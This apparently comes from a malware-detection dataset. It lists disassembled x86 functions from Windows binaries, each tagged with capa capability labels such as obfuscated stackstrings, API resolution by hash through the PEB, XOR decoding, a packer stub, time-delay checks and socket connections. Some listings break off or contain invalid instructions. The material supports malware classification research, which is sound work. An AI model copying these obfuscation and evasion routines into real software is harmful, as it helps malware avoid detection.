joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ac15
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x40ac3e
mov eax, dword [ebp - 4]
jmp 0x40ad57
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
cmp dword [edx], 0x4550
je 0x40ac5d
mov eax, dword [ebp - 4]
jmp 0x40ad57
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x10]
cmp dword [edx + ecx + 0x7c], 0
or bh, byte [eax + eax + 0x75]
invalid
mov eax, dword [ebp - 4]
jmp 0x40ad57
mov eax, 8

Function at 0x40ae75
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov dword [ebp - 0x28], 0
mov byte [ebp - 0x64], 0x61
mov byte [ebp - 0x63], 0x64
mov byte [ebp - 0x62], 0x76
mov byte [ebp - 0x61], 0x61
mov byte [ebp - 0x60], 0x70
mov byte [ebp - 0x5f], 0x69
mov byte [ebp - 0x5e], 0x33
mov byte [ebp - 0x5d], 0x32
mov byte [ebp - 0x5c], 0x2e
mov byte [ebp - 0x5b], 0x64
mov byte [ebp - 0x5a], 0x6c
mov byte [ebp - 0x59], 0x6c
mov byte [ebp - 0x58], 0
mov byte [ebp - 0x3c], 0x70
mov byte [ebp - 0x3b], 0x73
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x70
mov byte [ebp - 0x38], 0x69
mov byte [ebp - 0x37], 0x2e
mov byte [ebp - 0x36], 0x64
mov byte [ebp - 0x35], 0x6c
mov byte [ebp - 0x34], 0x6c
mov byte [ebp - 0x33], 0
mov byte [ebp - 0x54], 0x6d
mov byte [ebp - 0x53], 0x73
mov byte [ebp - 0x52], 0x76
mov byte [ebp - 0x51], 0x63
mov byte [ebp - 0x50], 0x72
mov byte [ebp - 0x4f], 0x74
mov byte [ebp - 0x4e], 0x2e
mov byte [ebp - 0x4d], 0x64
mov byte [ebp - 0x4c], 0x6c
mov byte [ebp - 0x4b], 0x6c

Function at 0x40af06
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x4a], 0
mov byte [ebp - 0x30], 0x77
mov byte [ebp - 0x2f], 0x69
mov byte [ebp - 0x2e], 0x6e
mov byte [ebp - 0x2d], 0x68
mov byte [ebp - 0x2c], 0x74
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x70
mov byte [ebp - 0x29], 0
mov byte [ebp - 0x48], 0x75
mov byte [ebp - 0x47], 0x73
mov byte [ebp - 0x46], 0x65
mov byte [ebp - 0x45], 0x72
mov byte [ebp - 0x44], 0x33
mov byte [ebp - 0x43], 0x32
mov byte [ebp - 0x42], 0x2e
mov byte [ebp - 0x41], 0x64
mov byte [ebp - 0x40], 0x6c
mov byte [ebp - 0x3f], 0x6c
mov byte [ebp - 0x3e], 0
call fcn.0040ae15
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
add eax, 0x2a3f60
mov dword [ebp - 4], eax
push 0x8fecd63f
call fcn.0040ad65
add esp, 4
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [ecx], edx
push 0xcef6e822
call fcn.0040ad65
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov dword [eax + 4], ecx
push 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x64]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0040ac15
add esp, 0xc
mov edx, dword [ebp - 4]
mov dword [edx + 0x64], eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x64]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xcc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.0040ac15
invalid
invalid
Function at 0x42f5d0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x42f60e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x42f606
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x42f610
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x42f5f6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x42f6f0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x42f706
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x42f721
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x5e4d4f43
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x48776549
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x4b7620
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10c14f48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov ecx, dword [edi + 0x30]
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
mov dword [ebp - 0x10], edi
xor esi, esi
call edx
mov ebx, dword [ebp + 0xc]
test eax, eax
je 0x4b76b6
mov eax, dword [ebp + 8]
push esi
push eax
lea ecx, [ebp + 0xc]
push ecx
call 0xedd120
add esp, 0xc
mov eax, dword [eax]
push eax
mov ecx, ebx
mov dword [ebp - 4], 0
call 0xef57c0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], 0xffffffff
mov edi, eax
test eax, eax
je 0x4b76a1
add dword [eax], 0xffffff80
test dword [edi], 0xffffffc0
jne 0x4b76a1
mov ecx, edi
call 0xed3d50
push edi
call 0xed1d10
add esp, 4
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx + 0x30]
mov eax, dword [ecx]
mov edx, dword [eax + 0xc]
inc esi
call edx
cmp esi, eax
jb 0x4b7654
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
push eax
push ebx
push ecx
mov ecx, edi
call 0xef1470
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x401040
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create raw socket
Create tcp socket
Create udp socket
Initialize winsock library
Set socket configuration

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push esi
push eax
mov esi, ecx
push 0x202
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x401137
mov ecx, dword [esp + 0x1b4]
push ecx
call fcn.0040a03d
lea eax, [eax + eax*4]
mov ecx, dword [esp + 0x1b0]
add esp, 4
lea eax, [eax + eax*4]
push ecx
lea edx, [eax + eax*4]
xor eax, eax
mov dword [esp + 0xc], eax
mov word [esp + 0xc], 2
mov dword [esp + 0x10], eax
shl edx, 3
mov dword [esp + 0x14], eax
mov dword [esp + 8], edx
mov dword [esp + 0x18], eax
call sub.WSOCK32.dll_inet_addr
mov edx, dword [esp + 0x1b0]
mov dword [esp + 0xc], eax
push edx
call fcn.0040a03d
add esp, 4
push eax
call sub.WSOCK32.dll_htons
push 0
push 1
push 2
mov word [esp + 0x16], ax
call sub.WSOCK32.dll_socket
cmp eax, 0xffffffff
mov dword [esi + 4], eax
je 0x401137
lea ecx, [esp + 4]
push 4
push ecx
push 0x80
push 0xffff
push eax
call sub.WSOCK32.dll_setsockopt
cmp eax, 0xffffffff
je 0x401137
mov eax, dword [esi + 4]
lea edx, [esp + 4]
push 4
push edx
push 0x1006
push 0xffff
push eax
call sub.WSOCK32.dll_setsockopt
cmp eax, 0xffffffff
je 0x401137
mov edx, dword [esi + 4]
lea ecx, [esp + 8]
push 0x10
push ecx
push edx
call sub.WSOCK32.dll_connect
xor ecx, ecx
cmp eax, 0xffffffff
sete cl
mov eax, ecx
pop esi
add esp, 0x1a4
ret 0xc
mov eax, 1
pop esi
add esp, 0x1a4
ret 0xc

Function at 0x4014a0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
push esi
push edi
call ebx
mov esi, dword [esp + 0x30]
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
mov ebp, eax
push 1
push 0
push 0
lea eax, [esp + 0x1c]
push 0
push eax
call edi
test eax, eax
je 0x4014e4
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.USER32.dll_TranslateMessage]
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.USER32.dll_DispatchMessageA]
call ebx
sub eax, ebp
cmp eax, esi
jbe 0x4014bb
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret

Function at 0x401590
Capabilities:
Shutdown system

Disassembly:
sub esp, 0x94
lea eax, [esp]
mov dword [esp], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4015b4
add esp, 0x94
ret
cmp dword [esp + 0x10], 2
jne 0x4015cd
call fcn.00401500
test eax, eax
je 0x4015cd
xor eax, eax
add esp, 0x94
ret
mov ecx, dword [esp + 0x98]
push 0
push ecx
call dword [sym.imp.USER32.dll_ExitWindowsEx]
add esp, 0x94
ret
Function at 0x417b20
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040a690
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x417beb
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x417beb
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x417b9e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x417ba9
or bh, 8
and edi, 0x8000000
je 0x417bc4
mov eax, dword [0x435c9c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x417beb
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x417fc0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x417feb
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41800f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41802a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x41c63f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x41c681
call fcn.00420e8f
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x41c681
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x41c678
xor eax, eax
jmp 0x41c689
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041c68f
pop edi
pop esi
pop ebx
ret 4
Function at 0x40aead
Capabilities:
Encode data using xor

Disassembly:
movzx eax, ax
lea eax, [eax*8 + 0x407840]
xor edx, edx
xor ecx, ecx
cmp dx, word [eax + 2]
jae 0x40aeda
push esi
mov edx, dword [eax + 4]
movzx esi, cx
mov dl, byte [edx + esi]
xor dl, byte [eax]
xor dl, cl
inc ecx
mov byte [esi + edi], dl
cmp cx, word [eax + 2]
jb 0x40aec2
pop esi
movzx eax, word [eax + 2]
mov byte [eax + edi], 0
ret

Function at 0x40aee3
Capabilities:
Encode data using xor

Disassembly:
movzx eax, ax
lea eax, [eax*8 + 0x407840]
xor ecx, ecx
xor edx, edx
cmp cx, word [eax + 2]
jae 0x40af22
push ebx
push edi
mov edi, dword [eax + 4]
movzx ebx, byte [eax]
movzx ecx, dx
movsx di, byte [edi + ecx]
xor di, bx
xor di, dx
mov ebx, 0xff
and di, bx
inc edx
mov word [esi + ecx*2], di
cmp dx, word [eax + 2]
jb 0x40aef9
pop edi
pop ebx
movzx eax, word [eax + 2]
xor ecx, ecx
mov word [esi + eax*2], cx
ret

Function at 0x40b5c3
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
sub eax, 0xa1
push ebx
push edi
je 0x40b620
push 3
pop ecx
sub eax, ecx
je 0x40b617
sub eax, ecx
je 0x40b60e
sub eax, 0x15a
je 0x40b605
sub eax, ecx
je 0x40b5fc
sub eax, ecx
jne 0x40b699
mov dword [ebp - 4], 0x209
xor bl, bl
jmp 0x40b629
mov dword [ebp - 4], 0x206
jmp 0x40b5f8
mov dword [ebp - 4], 0x203
jmp 0x40b5f8
mov dword [ebp - 4], 0xa9
jmp 0x40b627
mov dword [ebp - 4], 0xa6
jmp 0x40b627
mov dword [ebp - 4], 0xa3
mov bl, 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, dword [ebp + 8]
cmp dword [esi + 0x16c], eax
jne 0x40b684
mov ecx, dword [esi + 0x168]
cmp ecx, dword [ebp + 0xc]
jne 0x40b684
mov ecx, edi
sub ecx, dword [esi + 0x164]
cmp ecx, 0x3e8
ja 0x40b684
test bl, bl
jne 0x40b668
push 0xffffffffffffffe6
push eax
call dword [sym.imp.USER32.dll_GetClassLongW]
test al, 8
je 0x40b681
xor eax, eax
mov dword [esi + 0x168], eax
mov dword [esi + 0x164], eax
mov dword [esi + 0x16c], eax
mov eax, dword [ebp - 4]
jmp 0x40b69c
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0x168], ecx
mov dword [esi + 0x164], edi
mov dword [esi + 0x16c], eax
mov eax, dword [ebp + 0xc]
pop edi
pop ebx
leave
ret 8

Function at 0x40c66f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [edi + 0x3c]
and dword [ebp - 4], 0
push ebx
push esi
mov esi, dword [eax + edi + 0x78]
add esi, edi
cmp dword [esi + 0x18], 0
jbe 0x40c6b4
mov ebx, dword [esi + 0x20]
add ebx, edi
test ebx, ebx
je 0x40c6a6
mov ecx, dword [ebx]
push dword [ebp + 8]
or eax, 0xffffffff
add ecx, edi
or edx, eax
call fcn.0042bc3c
test eax, eax
je 0x40c6bc
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
add ebx, 4
cmp eax, dword [esi + 0x18]
jb 0x40c68d
xor eax, eax
pop esi
pop ebx
leave
ret 4
mov ecx, dword [ebp - 4]
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + edi]
mov ecx, dword [esi + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + edi]
add eax, edi
jmp 0x40c6b6
Function at 0x40c735
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push esi
push edi
cld
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
mov ecx, 0x18
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x40c758
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x40c74f
cmp edi, 0x6a4abc5b
mov eax, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x40c745
pop edi
pop esi
ret

Function at 0x40c7ee
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
test byte [ebp + 8], 2
push esi
jne 0x40c821
mov esi, 0x435ba8
push esi
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x40c81a
xor al, al
jmp 0x40c84b
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveBackslashW]
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x208]
push ecx
call fcn.0042b441
test eax, eax
mov dword [0x435ba4], eax
setne al
pop esi
leave
ret 4

Function at 0x40c850
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x498
test byte [ebp + 8], 2
push ebx
push esi
push edi
je 0x40c8eb
cmp byte [0x435db4], 1
jbe 0x40c8fe
xor ebx, ebx
xor edi, edi
mov ax, word [edi + 0x4077e8]
lea esi, [ebp - 0x498]
call fcn.0040aee3
lea eax, [ebp - 0x208]
push eax
xor eax, eax
push eax
push eax
push dword [edi + 0x4077f0]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x40c8cf
lea eax, [ebp - 0x208]
push eax
push eax
mov eax, esi
call fcn.0043293a
test al, al
je 0x40c8cf
push dword [0x435ba4]
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x40c8da
add edi, 0xc
inc ebx
cmp edi, 0x54
jb 0x40c877
jmp 0x40c8fe
imul ebx, ebx, 0xc
mov eax, dword [ebx + 0x4077ec]
or dword [0x435b48], eax
jmp 0x40c8fe
test byte [0x435b48], 1
je 0x40c8fe
or dword [0x435b48], 0x1e0
pop edi
pop esi
mov al, 1
pop ebx
leave
ret 4

Function at 0x40ca51
Capabilities:
Get keyboard layout

Disassembly:
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
push esi
push edi
xor esi, esi
push esi
push esi
call ebx
mov edi, eax
cmp edi, esi
jne 0x40ca6a
xor eax, eax
jmp 0x40cab7
push ebp
shl eax, 2
call fcn.0042b055
mov ebp, eax
test ebp, ebp
je 0x40cab4
push ebp
push edi
call ebx
test eax, eax
je 0x40caae
xor edx, edx
test eax, eax
jle 0x40caae
test esi, esi
jne 0x40caae
xor ecx, ecx
test esi, esi
jne 0x40caa9
movzx esi, word [ebp + edx*4]
sub esi, dword [ecx + 0x4085b0]
neg esi
sbb esi, esi
add ecx, 4
inc esi
cmp ecx, 8
jb 0x40ca8d
inc edx
cmp edx, eax
jl 0x40ca87
push ebp
call fcn.0042b085
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x40d321
Capabilities:
Encode data using xor

Disassembly:
push esi
mov edx, 0x4d0
push edx
push 0x402fd0
push eax
call fcn.0042b0c1
mov ecx, dword [0x435b5c]
add ecx, dword [0x435f50]
mov esi, edx
sub ecx, eax
mov dl, byte [ecx + eax]
xor byte [eax], dl
inc eax
dec esi
jne 0x40d343
pop esi
ret
Function at 0x40dc84
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push 9
xor bl, bl
call fcn.0040cabb
test al, al
je 0x40dd7a
push esi
push 0x8007
mov byte [ebp - 2], bl
mov byte [ebp - 0xc], 1
mov byte [ebp - 1], bl
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor esi, esi
cmp eax, esi
je 0x40dd54
xor edx, edx
cmp dword [ebp - 8], esi
jle 0x40dd13
mov ecx, dword [eax + edx*4]
cmp ecx, esi
je 0x40dd0d
cmp word [ecx], 0x2d
jne 0x40dd0d
movzx ecx, word [ecx + 2]
cmp ecx, 0x66
je 0x40dd09
cmp ecx, 0x6e
je 0x40dd03
cmp ecx, 0x76
je 0x40dcfd
cmp ecx, 0x7a
jne 0x40dd0d
mov bl, 1
jmp 0x40dd0d
mov byte [ebp - 1], 1
jmp 0x40dd0d
mov byte [ebp - 0xc], 0
jmp 0x40dd0d
mov byte [ebp - 2], 1
inc edx
cmp edx, dword [ebp - 8]
jl 0x40dcd4
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
test bl, bl
je 0x40dd2c
push esi
push esi
push 0x406740
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp byte [ebp - 1], 0
je 0x40dd54
call fcn.004207fb
call fcn.0041cc6c
test byte [0x435b48], 4
mov bl, al
je 0x40dd61
push esi
mov eax, 0x437720
call fcn.00420674
jmp 0x40dd61
push dword [ebp - 0xc]
mov al, byte [ebp - 2]
call fcn.0040d950
mov bl, al
pop esi
test bl, bl
je 0x40dd7a
test byte [0x435b48], 2
je 0x40dd7a
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
pop ebx
leave
ret
xor eax, eax
test bl, bl
sete al
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40f81e
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push esi
push edi
lea eax, [ebp - 0x200]
push eax
call fcn.0040d39a
push 0x32
push 0
lea esi, [ebp - 0xd0]
or eax, 0xffffffff
lea ecx, [ebp - 0x128]
call fcn.0042b290
push 0x36
lea esi, [ebp - 0x68]
pop eax
call fcn.0040aee3
xor bl, bl
mov edi, reloc.WS2_32.dll_accept
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x68]
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_SHDeleteValueW]
test eax, eax
jne 0x40f8b9
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 4]
push eax
push 1
push 0
lea eax, [ebp - 0x68]
push eax
push edi
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40f8ac
lea eax, [ebp - 0xd0]
push eax
lea esi, [ebp - 4]
call fcn.00430bbd
jmp 0x40f8ae
xor al, al
test al, al
je 0x40f8c0
inc bl
cmp bl, 5
jb 0x40f860
xor al, al
pop edi
pop esi
pop ebx
leave
ret
mov al, 1
jmp 0x40f8bb

Function at 0x40fc50
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push esi
push 1
push 0x4512b58d
call fcn.0040cf35
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x40fc96
cmp byte [0x437b24], bl
jne 0x40fc90
cmp dword [0x437b18], ebx
jne 0x40fc90
push ebx
push ebx
push ebx
push 0x40fa3f
push 0x100000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x437b18], eax
push esi
call fcn.0042ffc7
xor eax, eax
cmp dword [0x437b18], ebx
pop esi
setne al
pop ebx
pop ecx
ret

Function at 0x40fca5
Capabilities:
Create thread

Disassembly:
push ecx
push ebx
push edi
push 1
push 0x4512b58d
call fcn.0040cf35
mov edi, eax
xor ebx, ebx
cmp edi, ebx
je 0x40fd15
cmp dword [0x437b20], ebx
jne 0x40fd0f
cmp dword [0x437b14], ebx
jne 0x40fd0f
push 0x104
push ebx
mov edx, 0x435f60
push edx
call fcn.0042b138
cmp esi, ebx
je 0x40fcf6
mov ecx, esi
call fcn.0042bc16
push eax
push esi
push edx
call fcn.0042b0c1
mov byte [eax + 0x435f60], bl
push ebx
push ebx
push ebx
push 0x40fa60
push 0x100000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x437b14], eax
push edi
call fcn.0042ffc7
xor eax, eax
cmp dword [0x437b14], ebx
pop edi
setne al
pop ebx
pop ecx
ret

Function at 0x40fd24
Capabilities:
Check if file exists
Get file attributes

Disassembly:
cmp word [0x436068], 0
push ebx
push esi
mov ebx, 0x436068
mov esi, 0x436270
jne 0x40fd62
push 2
call fcn.0040d3ec
mov ecx, ebx
call fcn.0042bc28
add eax, eax
push eax
push ebx
push esi
call fcn.0042b0c1
xor ecx, ecx
push esi
mov word [eax + 0x436270], cx
